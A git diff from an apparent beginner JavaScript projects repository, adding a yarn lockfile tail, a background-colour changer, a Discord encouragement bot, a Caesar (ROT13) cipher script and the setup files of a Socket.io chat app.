"5.1.4" + resolved "https://registry.yarnpkg.com/workbox-expiration/-/workbox-expiration-5.1.4.tgz#92b5df461e8126114943a3b15c55e4ecb920b163" + integrity sha512-oDO/5iC65h2Eq7jctAv858W2+CeRW5e0jZBMNRXpzp0ZPvuT6GblUiHnAsC5W5lANs1QS9atVOm4ifrBiYY7AQ== + dependencies: + workbox-core "^5.1.4" + +workbox-google-analytics@^5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-google-analytics/-/workbox-google-analytics-5.1.4.tgz#b3376806b1ac7d7df8418304d379707195fa8517" + integrity sha512-0IFhKoEVrreHpKgcOoddV+oIaVXBFKXUzJVBI+nb0bxmcwYuZMdteBTp8AEDJacENtc9xbR0wa9RDCnYsCDLjA== + dependencies: + workbox-background-sync "^5.1.4" + workbox-core "^5.1.4" + workbox-routing "^5.1.4" + workbox-strategies "^5.1.4" + +workbox-navigation-preload@^5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-navigation-preload/-/workbox-navigation-preload-5.1.4.tgz#30d1b720d26a05efc5fa11503e5cc1ed5a78902a" + integrity sha512-Wf03osvK0wTflAfKXba//QmWC5BIaIZARU03JIhAEO2wSB2BDROWI8Q/zmianf54kdV7e1eLaIEZhth4K4MyfQ== + dependencies: + workbox-core "^5.1.4" + +workbox-precaching@^5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-precaching/-/workbox-precaching-5.1.4.tgz#874f7ebdd750dd3e04249efae9a1b3f48285fe6b" + integrity sha512-gCIFrBXmVQLFwvAzuGLCmkUYGVhBb7D1k/IL7pUJUO5xacjLcFUaLnnsoVepBGAiKw34HU1y/YuqvTKim9qAZA== + dependencies: + workbox-core "^5.1.4" + +workbox-range-requests@^5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-range-requests/-/workbox-range-requests-5.1.4.tgz#7066a12c121df65bf76fdf2b0868016aa2bab859" + integrity sha512-1HSujLjgTeoxHrMR2muDW2dKdxqCGMc1KbeyGcmjZZAizJTFwu7CWLDmLv6O1ceWYrhfuLFJO+umYMddk2XMhw== + dependencies: + workbox-core "^5.1.4" + +workbox-routing@^5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-routing/-/workbox-routing-5.1.4.tgz#3e8cd86bd3b6573488d1a2ce7385e547b547e970" + integrity sha512-8ljknRfqE1vEQtnMtzfksL+UXO822jJlHTIR7+BtJuxQ17+WPZfsHqvk1ynR/v0EHik4x2+826Hkwpgh4GKDCw== + dependencies: + workbox-core "^5.1.4" + +workbox-strategies@^5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-strategies/-/workbox-strategies-5.1.4.tgz#96b1418ccdfde5354612914964074d466c52d08c" + integrity sha512-VVS57LpaJTdjW3RgZvPwX0NlhNmscR7OQ9bP+N/34cYMDzXLyA6kqWffP6QKXSkca1OFo/v6v7hW7zrrguo6EA== + dependencies: + workbox-core "^5.1.4" + workbox-routing "^5.1.4" + +workbox-streams@^5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-streams/-/workbox-streams-5.1.4.tgz#05754e5e3667bdc078df2c9315b3f41210d8cac0" + integrity sha512-xU8yuF1hI/XcVhJUAfbQLa1guQUhdLMPQJkdT0kn6HP5CwiPOGiXnSFq80rAG4b1kJUChQQIGPrq439FQUNVrw== + dependencies: + workbox-core "^5.1.4" + workbox-routing "^5.1.4" + +workbox-sw@^5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-sw/-/workbox-sw-5.1.4.tgz#2bb34c9f7381f90d84cef644816d45150011d3db" + integrity sha512-9xKnKw95aXwSNc8kk8gki4HU0g0W6KXu+xks7wFuC7h0sembFnTrKtckqZxbSod41TDaGh+gWUA5IRXrL0ECRA== + +workbox-webpack-plugin@5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-webpack-plugin/-/workbox-webpack-plugin-5.1.4.tgz#7bfe8c16e40fe9ed8937080ac7ae9c8bde01e79c" + integrity sha512-PZafF4HpugZndqISi3rZ4ZK4A4DxO8rAqt2FwRptgsDx7NF8TVKP86/huHquUsRjMGQllsNdn4FNl8CD/UvKmQ== + dependencies: + "@babel/runtime" "^7.5.5" + fast-json-stable-stringify "^2.0.0" + source-map-url "^0.4.0" + upath "^1.1.2" + webpack-sources "^1.3.0" + workbox-build "^5.1.4" + +workbox-window@^5.1.4: + version "5.1.4" + resolved "https://registry.yarnpkg.com/workbox-window/-/workbox-window-5.1.4.tgz#2740f7dea7f93b99326179a62f1cc0ca2c93c863" + integrity sha512-vXQtgTeMCUq/4pBWMfQX8Ee7N2wVC4Q7XYFqLnfbXJ2hqew/cU1uMTD2KqGEgEpE4/30luxIxgE+LkIa8glBYw== + dependencies: + workbox-core "^5.1.4" + +worker-farm@^1.7.0: + version "1.7.0" + resolved "https://registry.yarnpkg.com/worker-farm/-/worker-farm-1.7.0.tgz#26a94c5391bbca926152002f69b84a4bf772e5a8" + integrity sha512-rvw3QTZc8lAxyVrqcSGVm5yP/IJ2UcB3U0graE3LCFoZ0Yn2x4EoVSqJKdB/T5M+FLcRPjz4TDacRf3OCfNUzw== + dependencies: + errno "~0.1.7" + +worker-rpc@^0.1.0: + version "0.1.1" + resolved "https://registry.yarnpkg.com/worker-rpc/-/worker-rpc-0.1.1.tgz#cb565bd6d7071a8f16660686051e969ad32f54d5" + integrity sha512-P1WjMrUB3qgJNI9jfmpZ/htmBEjFh//6l/5y8SD9hg1Ef5zTTVVoRjTrTEzPrNBQvmhMxkoTsjOXN10GWU7aCg== + dependencies: + microevent.ts "~0.1.1" + +wrap-ansi@^5.1.0: + version "5.1.0" + resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-5.1.0.tgz#1fd1f67235d5b6d0fee781056001bfb694c03b09" + integrity sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q== + dependencies: + ansi-styles "^3.2.0" + string-width "^3.0.0" + strip-ansi "^5.0.0" + +wrap-ansi@^6.2.0: + version "6.2.0" + resolved "https://registry.yarnpkg.com/wrap-ansi/-/wrap-ansi-6.2.0.tgz#e9393ba07102e6c91a3b221478f0257cd2856e53" + integrity sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA== + dependencies: + ansi-styles "^4.0.0" + string-width "^4.1.0" + strip-ansi "^6.0.0" + +wrappy@1: + version "1.0.2" + resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f" + integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8= + +write-file-atomic@^3.0.0: + version "3.0.3" + resolved "https://registry.yarnpkg.com/write-file-atomic/-/write-file-atomic-3.0.3.tgz#56bd5c5a5c70481cd19c571bd39ab965a5de56e8" + integrity sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q== + dependencies: + imurmurhash "^0.1.4" + is-typedarray "^1.0.0" + signal-exit "^3.0.2" + typedarray-to-buffer "^3.1.5" + +ws@^6.2.1: + version "6.2.1" + resolved "https://registry.yarnpkg.com/ws/-/ws-6.2.1.tgz#442fdf0a47ed64f59b6a5d8ff130f4748ed524fb" + integrity sha512-GIyAXC2cB7LjvpgMt9EKS2ldqr0MTrORaleiOno6TweZ6r3TKtoFQWay/2PceJ3RuBasOHzXNn5Lrw1X0bEjqA== + dependencies: + async-limiter "~1.0.0" + +ws@^7.2.3: + version "7.4.3" + resolved "https://registry.yarnpkg.com/ws/-/ws-7.4.3.tgz#1f9643de34a543b8edb124bdcbc457ae55a6e5cd" + integrity sha512-hr6vCR76GsossIRsr8OLR9acVVm1jyfEWvhbNjtgPOrfvAlKzvyeg/P6r8RuDjRyrcQoPQT7K0DGEPc7Ae6jzA== + +xml-name-validator@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/xml-name-validator/-/xml-name-validator-3.0.0.tgz#6ae73e06de4d8c6e47f9fb181f78d648ad457c6a" + integrity sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw== + +xmlchars@^2.2.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/xmlchars/-/xmlchars-2.2.0.tgz#060fe1bcb7f9c76fe2a17db86a9bc3ab894210cb" + integrity sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw== + +xtend@^4.0.0, xtend@^4.0.2, xtend@~4.0.1: + version "4.0.2" + resolved "https://registry.yarnpkg.com/xtend/-/xtend-4.0.2.tgz#bb72779f5fa465186b1f438f674fa347fdb5db54" + integrity sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ== + +y18n@^4.0.0: + version "4.0.1" + resolved "https://registry.yarnpkg.com/y18n/-/y18n-4.0.1.tgz#8db2b83c31c5d75099bb890b23f3094891e247d4" + integrity sha512-wNcy4NvjMYL8gogWWYAO7ZFWFfHcbdbE57tZO8e4cbpj8tfUcwrwqSl3ad8HxpYWCdXcJUCeKKZS62Av1affwQ== + +yallist@^3.0.2: + version "3.1.1" + resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd" + integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g== + +yallist@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/yallist/-/yallist-4.0.0.tgz#9bb92790d9c0effec63be73519e11a35019a3a72" + integrity sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A== + +yaml@^1.10.0, yaml@^1.7.2: + version "1.10.0" + resolved "https://registry.yarnpkg.com/yaml/-/yaml-1.10.0.tgz#3b593add944876077d4d683fee01081bd9fff31e" + integrity sha512-yr2icI4glYaNG+KWONODapy2/jDdMSDnrONSjblABjD9B4Z5LgiircSt8m8sRZFNi08kG9Sm0uSHtEmP3zaEGg== + +yargs-parser@^13.1.2: + version "13.1.2" + resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-13.1.2.tgz#130f09702ebaeef2650d54ce6e3e5706f7a4fb38" + integrity sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg== + dependencies: + camelcase "^5.0.0" + decamelize "^1.2.0" + +yargs-parser@^18.1.2: + version "18.1.3" + resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-18.1.3.tgz#be68c4975c6b2abf469236b0c870362fab09a7b0" + integrity sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ== + dependencies: + camelcase "^5.0.0" + decamelize "^1.2.0" + +yargs@^13.3.2: + version "13.3.2" + resolved "https://registry.yarnpkg.com/yargs/-/yargs-13.3.2.tgz#ad7ffefec1aa59565ac915f82dccb38a9c31a2dd" + integrity sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw== + dependencies: + cliui "^5.0.0" + find-up "^3.0.0" + get-caller-file "^2.0.1" + require-directory "^2.1.1" + require-main-filename "^2.0.0" + set-blocking "^2.0.0" + string-width "^3.0.0" + which-module "^2.0.0" + y18n "^4.0.0" + yargs-parser "^13.1.2" + +yargs@^15.4.1: + version "15.4.1" + resolved "https://registry.yarnpkg.com/yargs/-/yargs-15.4.1.tgz#0d87a16de01aee9d8bec2bfbf74f67851730f4f8" + integrity sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A== + dependencies: + cliui "^6.0.0" + decamelize "^1.2.0" + find-up "^4.1.0" + get-caller-file "^2.0.1" + require-directory "^2.1.1" + require-main-filename "^2.0.0" + set-blocking "^2.0.0" + string-width "^4.2.0" + which-module "^2.0.0" + y18n "^4.0.0" + yargs-parser "^18.1.2" + +yocto-queue@^0.1.0: + version "0.1.0" + resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b" + integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q== diff --git a/JS/Background_color_changer/App.css b/JS/Background_color_changer/App.css new file mode 100644 index 000000000..1509441f7 --- /dev/null +++ b/JS/Background_color_changer/App.css @@ -0,0 +1,26 @@ +#canvas{ + background-color: red; + color: white; + font-family: 'Trebuchet MS', 'Lucida Sans Unicode', 'Lucida Grande', 'Lucida Sans', Arial, sans-serif; + font-size: 25px; + width: 600px; + height: 500px; + margin: 50px auto; + text-align: center; + display: flex; + justify-content: center; + align-items: center; +} + +#button{ + text-align: center; + width: 200px; + height: 50px; + margin: 50px auto; + color: white; + font-family: 'Trebuchet MS', 'Lucida Sans Unicode', 'Lucida Grande', 'Lucida Sans', Arial, sans-serif; + background: black; + border-radius: 5px; + border-style: none; + display: block; +} diff --git a/JS/Background_color_changer/App.js b/JS/Background_color_changer/App.js new file mode 100644 index 000000000..c795c6f76 --- /dev/null +++ b/JS/Background_color_changer/App.js @@ -0,0 +1,17 @@ +//Add your colors here +let colors = [ 'red', 'blue', 'green', 'orange', 'purple', 'black', 'yellow']; + + + +//change the background of canvas when button is clicked +let button = document.getElementById('button'); + +//Add event listener +button.addEventListener('click', function(){ + //select a random number between 0 - 6 + let index = parseInt((Math.random()*colors.length)+1); + //grab the canvas + let canvas = document.getElementById('canvas'); + + canvas.style.background = `${colors[index]}` +}) diff --git a/JS/Background_color_changer/Index.html b/JS/Background_color_changer/Index.html new file mode 100644 index 000000000..d2b896ad4 --- /dev/null +++ b/JS/Background_color_changer/Index.html @@ -0,0 +1,21 @@ + + + + + + + + JavaScript Background Color Changing App + + +
+ My background color will change when my button below is clicked. +
+ + + + + + + + diff --git a/JS/Background_color_changer/Readme.md b/JS/Background_color_changer/Readme.md new file mode 100644 index 000000000..fd661a57b --- /dev/null +++ b/JS/Background_color_changer/Readme.md @@ -0,0 +1 @@ +# JavaScript Background Color Changing App diff --git a/JS/Bot.js b/JS/Bot.js new file mode 100644 index 000000000..4ed6282c6 --- /dev/null +++ b/JS/Bot.js @@ -0,0 +1,109 @@ +const Discord = require("discord.js") +const fetch = require("node-fetch") +const keepAlive = require("./server") +const Database = require("@replit/database") + +const db = new Database() +const client = new Discord.Client() + +const sadWords = ["sad", "depressed", "unhappy", "angry"] + +const starterEncouragements = [ + "Cheer up!", + "Hang in there.", + "You are a great person / bot!" +] + +db.get("encouragements").then(encouragements => { + if (!encouragements || encouragements.length < 1) { + db.set("encouragements", starterEncouragements) + } +}) + +db.get("responding").then(value => { + if (value == null) { + db.set("responding", true) + } +}) + +function updateEncouragements(encouragingMessage) { + db.get("encouragements").then(encouragements => { + encouragements.push([encouragingMessage]) + db.set("encouragements", encouragements) + }) +} + +function deleteEncouragement(index) { + db.get("encouragements").then(encouragements => { + if (encouragements.length > index) { + encouragements.splice(index, 1) + db.set("encouragements", encouragements) + } + }) +} + +function getQuote() { + return fetch("https://zenquotes.io/api/random") + .then(res => { + return res.json() + }) + .then(data => { + return data[0]["q"] + " -" + data[0]["a"] + }) +} + +client.on("ready", () => { + console.log(`Logged in as ${client.user.tag}!`) +}) + +client.on("message", msg => { + if (msg.author.bot) return + + if (msg.content === "$inspire") { + getQuote().then(quote => msg.channel.send(quote)) + } + + db.get("responding").then(responding =>{ + if (responding && sadWords.some(word => msg.content.includes(word))) { + db.get("encouragements").then(encouragements => { + const encouragement = encouragements[Math.floor(Math.random() * encouragements.length)] + msg.reply(encouragement) + }) + } + }) + + + if (msg.content.startsWith("$new")) { + encouragingMessage = msg.content.split("$new ")[1] + updateEncouragements(encouragingMessage) + msg.channel.send("New encouraging message added.") + } + + if (msg.content.startsWith("$del")) { + index = parseInt(msg.content.split("$del ")[1]) + deleteEncouragement(index) + msg.channel.send("Encouraging message deleted.") + } + + if (msg.content.startsWith("$list")) { + db.get("encouragements").then(encouragements => { + msg.channel.send(encouragements) + }) + } + + if (msg.content.startsWith("$responding")) { + value = msg.content.split("$responding ")[1] + + if (value.toLowerCase() == "true") { + db.set("responding", true) + msg.channel.send("Responding is on.") + } else { + db.set("responding", false) + msg.channel.send("Responding is off.") + } + } + +}) + +keepAlive() +client.login(TOKEN) diff --git a/JS/Caesar_Cipher.js b/JS/Caesar_Cipher.js new file mode 100644 index 000000000..10aa492ab --- /dev/null +++ b/JS/Caesar_Cipher.js @@ -0,0 +1,44 @@ +// An algorithm to solve the Caesar Cipher problem. +// Example +// Input: +// text = ABCD , Key = 13 +// A B C D E F G H I J K L M N O P Q R S T U V W X Y Z +// 13 shift to A is N +// 13 shift to B is O +// 13 shift to C is P +// 13 shift to D is Q + +// Output: +// NOPQ +let ceaserCipher = (str) => { + //Deciphered reference letters + let decoded = { + a: 'n', b: 'o', c: 'p', + d: 'q', e: 'r', f: 's', + g: 't', h: 'u', i: 'v', + j: 'w', k: 'x', l: 'y', + m: 'z', n: 'a', o: 'b', + p: 'c', q: 'd', r: 'e', + s: 'f', t: 'g', u: 'h', + v: 'i', w: 'j', x: 'k', + y: 'l', z: 'm' + } + + //convert the string to lowercase + str = str.toLowerCase(); + + //decipher the code + let decipher = ''; + for(let i = 0 ; i < str.length; i++){ + decipher += decoded[str[i]]; + } + + //return the output + return decipher; + } +console.log(ceaserCipher('attackatonce')); +console.log(ceaserCipher('prashantyadav')); + +// Expected output +// "nggnpxngbapr" +// "cenfunaglnqni" \ No newline at end of file diff --git a/JS/Chat App/.gitignore b/JS/Chat App/.gitignore new file mode 100644 index 000000000..943af7526 --- /dev/null +++ b/JS/Chat App/.gitignore @@ -0,0 +1,118 @@ +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +lerna-debug.log* +.pnpm-debug.log* + +# Diagnostic reports (https://nodejs.org/api/report.html) +report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json + +# Runtime data +pids +*.pid +*.seed +*.pid.lock + +# Directory for instrumented libs generated by jscoverage/JSCover +lib-cov + +# Coverage directory used by tools like istanbul +coverage +*.lcov + +# nyc test coverage +.nyc_output + +# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) +.grunt + +# Bower dependency directory (https://bower.io/) +bower_components + +# node-waf configuration +.lock-wscript + +# Compiled binary addons (https://nodejs.org/api/addons.html) +build/Release + +# Dependency directories +node_modules/ +jspm_packages/ + +# Snowpack dependency directory (https://snowpack.dev/) +web_modules/ + +# TypeScript cache +*.tsbuildinfo + +# Optional npm cache directory +.npm + +# Optional eslint cache +.eslintcache + +# Microbundle cache +.rpt2_cache/ +.rts2_cache_cjs/ +.rts2_cache_es/ +.rts2_cache_umd/ + +# Optional REPL history +.node_repl_history + +# Output of 'npm pack' +*.tgz + +# Yarn Integrity file +.yarn-integrity + +# dotenv environment variables file +.env +.env.test +.env.production + +# parcel-bundler cache (https://parceljs.org/) +.cache +.parcel-cache + +# Next.js build output +.next +out + +# Nuxt.js build / generate output +.nuxt +dist + +# Gatsby files +.cache/ +# Comment in the public line in if your project uses Gatsby and not Next.js +# https://nextjs.org/blog/next-9-1#public-directory-support +# public + +# vuepress build output +.vuepress/dist + +# Serverless directories +.serverless/ + +# FuseBox cache +.fusebox/ + +# DynamoDB Local files +.dynamodb/ + +# TernJS port file +.tern-port + +# Stores VSCode versions used for testing VSCode extensions +.vscode-test + +# yarn v2 +.yarn/cache +.yarn/unplugged +.yarn/build-state.yml +.yarn/install-state.gz +.pnp.* \ No newline at end of file diff --git a/JS/Chat App/README.md b/JS/Chat App/README.md new file mode 100644 index 000000000..d76334d29 --- /dev/null +++ b/JS/Chat App/README.md @@ -0,0 +1,39 @@ +# **ChatWiz App** + +`Realtime chat application using Nodejs, Express, Socket.io and vanilla JavaScript.` + +## **Landing Page** +![ChatWiz landing page](landingPage.png) + +## **ChatPage** +![ChatWiz page](chatPage.png) + +## **ChatLeftPage** +![ChatWiz page](chatLeftPage.png) + +## **How to get Started** +--- + + +Clone the repository to your local machine + +```bash +git clone +``` + +Move to the folder +```bash +cd Bundli-Frontend/"Chat App" +``` + +Install the dependencies +```bash +npm install +``` + +Run the development environment +```bash +nodemon server.js +Go to localhost:80 +``` + diff --git a/JS/Chat App/chatLeftPage.png b/JS/Chat App/chatLeftPage.png new file mode 100644 index 000000000..564915303 Binary files /dev/null and b/JS/Chat App/chatLeftPage.png differ diff --git a/JS/Chat App/chatPage.png b/JS/Chat App/chatPage.png new file mode 100644 index 000000000..e46fd6b80 Binary files /dev/null and b/JS/Chat App/chatPage.png differ diff --git a/JS/Chat App/landingPage.png b/JS/Chat App/landingPage.png new file mode 100644 index 000000000..a432fadfc Binary files /dev/null and b/JS/Chat App/landingPage.png differ diff --git a/JS/Chat App/package-lock.json b/JS/Chat App/package-lock.json new file mode 100644 index 000000000..bdc9e0bb0 --- /dev/null +++ b/JS/Chat App/package-lock.json @@ -0,0 +1,531 @@ +{ + "name": "28_realtime_chat_app", + "version": "1.0.0", + "lockfileVersion": 1, + "requires": true, + "dependencies": { + "@types/component-emitter": { + "version": "1.2.10", + "resolved": "https://registry.npmjs.org/@types/component-emitter/-/component-emitter-1.2.10.tgz", + "integrity": "sha512-bsjleuRKWmGqajMerkzox19aGbscQX5rmmvvXl3wlIp5gMG1HgkiwPxsN5p070fBDKTNSPgojVbuY1+HWMbFhg==" + }, + "@types/cookie": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/@types/cookie/-/cookie-0.4.0.tgz", + "integrity": "sha512-y7mImlc/rNkvCRmg8gC3/lj87S7pTUIJ6QGjwHR9WQJcFs+ZMTOaoPrkdFA/YdbuqVEmEbb5RdhVxMkAcgOnpg==" + }, + "@types/cors": { + "version": "2.8.10", + "resolved": "https://registry.npmjs.org/@types/cors/-/cors-2.8.10.tgz", + "integrity": "sha512-C7srjHiVG3Ey1nR6d511dtDkCEjxuN9W1HWAEjGq8kpcwmNM6JJkpC0xvabM7BXTG2wDq8Eu33iH9aQKa7IvLQ==" + }, + "@types/node": { + "version": "16.0.0", + "resolved": "https://registry.npmjs.org/@types/node/-/node-16.0.0.tgz", + "integrity": "sha512-TmCW5HoZ2o2/z2EYi109jLqIaPIi9y/lc2LmDCWzuCi35bcaQ+OtUh6nwBiFK7SOu25FAU5+YKdqFZUwtqGSdg==" + }, + "accepts": { + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.7.tgz", + "integrity": "sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==", + "requires": { + "mime-types": "~2.1.24", + "negotiator": "0.6.2" + } + }, + "array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=" + }, + "base64-arraybuffer": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/base64-arraybuffer/-/base64-arraybuffer-0.1.4.tgz", + "integrity": "sha1-mBjHngWbE1X5fgQooBfIOOkLqBI=" + }, + "base64id": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/base64id/-/base64id-2.0.0.tgz", + "integrity": "sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog==" + }, + "body-parser": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", + "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", + "requires": { + "bytes": "3.1.0", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "~1.1.2", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "on-finished": "~2.3.0", + "qs": "6.7.0", + "raw-body": "2.4.0", + "type-is": "~1.6.17" + } + }, + "bytes": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", + "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==" + }, + "component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" + }, + "content-disposition": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", + "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "requires": { + "safe-buffer": "5.1.2" + } + }, + "content-type": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", + "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==" + }, + "cookie": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", + "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==" + }, + "cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" + }, + "cors": { + "version": "2.8.5", + "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz", + "integrity": "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==", + "requires": { + "object-assign": "^4", + "vary": "^1" + } + }, + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" + }, + "destroy": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", + "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" + }, + "ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" + }, + "encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=" + }, + "engine.io": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-5.1.1.tgz", + "integrity": "sha512-aMWot7H5aC8L4/T8qMYbLdvKlZOdJTH54FxfdFunTGvhMx1BHkJOntWArsVfgAZVwAO9LC2sryPWRcEeUzCe5w==", + "requires": { + "accepts": "~1.3.4", + "base64id": "2.0.0", + "cookie": "~0.4.1", + "cors": "~2.8.5", + "debug": "~4.3.1", + "engine.io-parser": "~4.0.0", + "ws": "~7.4.2" + }, + "dependencies": { + "cookie": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.1.tgz", + "integrity": "sha512-ZwrFkGJxUR3EIoXtO+yVE69Eb7KlixbaeAWfBQB9vVsNn/o+Yw69gBWSSDK825hQNdN+wF8zELf3dFNl/kxkUA==" + }, + "debug": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", + "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", 